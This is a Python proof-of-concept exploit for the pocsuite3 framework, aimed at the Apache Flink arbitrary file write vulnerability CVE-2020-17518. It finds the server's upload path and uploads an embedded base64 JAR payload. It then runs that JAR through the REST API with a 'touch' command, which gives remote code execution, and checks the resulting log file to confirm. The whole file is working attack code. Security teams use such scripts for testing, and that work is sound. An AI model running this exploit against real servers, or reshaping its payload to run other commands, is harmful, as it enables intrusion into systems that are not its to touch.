#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import random
import base64
from urllib.parse import urlparse
from pocsuite3.api import requests as req
from pocsuite3.api import register_poc
from pocsuite3.api import Output, POCBase
from pocsuite3.api import POC_CATEGORY, VUL_TYPE


class TestPOC(POCBase):
    vulID = ''
    version = '1'
    author = 'hancool'
    vulDate = '2021-1-5'
    createDate = '2021-1-12'
    updateDate = '2021-1-12'
    references = [
        'https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518',
        'https://nosec.org/home/detail/4639.html']
    name = 'Apache Flink任意文件写入漏洞'
    appPowerLink = 'https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4'
    appName = 'Apache Flink'
    appVersion = '1.5.1-1.11.2'
    vulType = VUL_TYPE.ARBITRARY_FILE_READ
    category = POC_CATEGORY.EXPLOITS
    desc = '''
        Flink核心是一个流式的数据流执行引擎，其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。Flink 1.5.1引入了REST API，但其实现上存在多处缺陷，导致目录遍历和任意文件写入漏洞。
    '''
    samples = ['127.0.0.1']

    def _verify(self):
        result = {}
        pr = urlparse(self.url)
        if pr.port:
            ports = [pr.port]
        else:
            ports = [8081]

        for port in ports:
            try:
                #get flink web path
                url_check = '{}://{}:{}/jobmanager/config'.format(pr.scheme, pr.hostname, port)
                r_test = req.get(url_check, verify=False)
                if r_test.status_code == 200:
                    m = re.findall(b'/tmp/flink-web-(.+?)"',r_test.content)
                    if not m:
                        continue
                    #upload jars
                    random_jars = '{}.jar'.format(random.randint(10000,100000))
                    flink_upload_pathfile = '/tmp/flink-web-{}/flink-web-upload/{}'.format(m[0].decode('utf-8'),random_jars)
                    upload_files = {'jarfile': (flink_upload_pathfile, base64.b64decode('UEsDBBQAAAAIAASBJlLHe4y+9gIAAOgEAAANAAAARXhlY3V0ZS5jbGFzc21Uy1bUQBC9zTwSQnhFBEZ8gAoOCIwiKgKivEWGhwbRATaZ0AcCMwkmPQIbN/oTfIF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LS7RDUstKs7Mz7NSMNQz4OXyTczM03XOSSwutlJwrUhNLi1J5eXi5QIAUEsHCIiKCL8wAAAALgAAAFBLAQI/ABQAAAAIAASBJlLHe4y+9gIAAOgEAAANACQAAAAAAAAAIAAAAAAAAABFeGVjdXRlLmNsYXNzCgAgAAAAAAABABgAsQeXEAPk1gFyshItA+TWAdyLEi0D5NYBUEsBAgoACgAACAAAInVtTwAAAAAAAAAAAAAAAAkAAAAAAAAAAAAAAAAAIQMAAE1FVEEtSU5GL1BLAQIUABQACAgIACJ1bU+Iigi/MAAAAC4AAAAUAAQAAAAAAAAAAAAAAEgDAABNRVRBLUlORi9NQU5JRkVTVC5NRv7KAABQSwUGAAAAAAMAAwDcAAAAvgMAAAAA'))}
                    url_upload = '{}://{}:{}/jars/upload'.format(pr.scheme, pr.hostname, port)
                    r_upload = req.post(url_upload,files=upload_files,verify=False)
                    if r_upload.status_code != 400:
                        continue
                    # exeucte
                    random_log = 'flink--standalonesession-0-{}.log'.format(random.randint(10000,100000))
                    url_exeucte = '{}://{}:{}/jars/{}/run?entry-class=Execute&program-args="touch $FLINK_HOME/log/{}"'.format(
                        pr.scheme, pr.hostname, port,random_jars,random_log)
                    r_execute = req.post(url_exeucte, verify=False)
                    #  check log exists:
                    if r_execute.status_code != 400:
                        continue
                    url_log_exist  = '{}://{}:{}/jobmanager/logs/{}'.format(pr.scheme, pr.hostname, port,random_log)
                    r_exist = req.get(url_log_exist, verify=False)
                    if r_exist.status_code == 200:
                        result['VerifyInfo'] = {}
                        result['VerifyInfo']['URL'] = '{}:{}'.format(
                            pr.hostname, port)
                        break
            except:
                raise
                #pass

        return self.parse_attack(result)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail("not vulnerability")
        return output


register_poc(TestPOC)
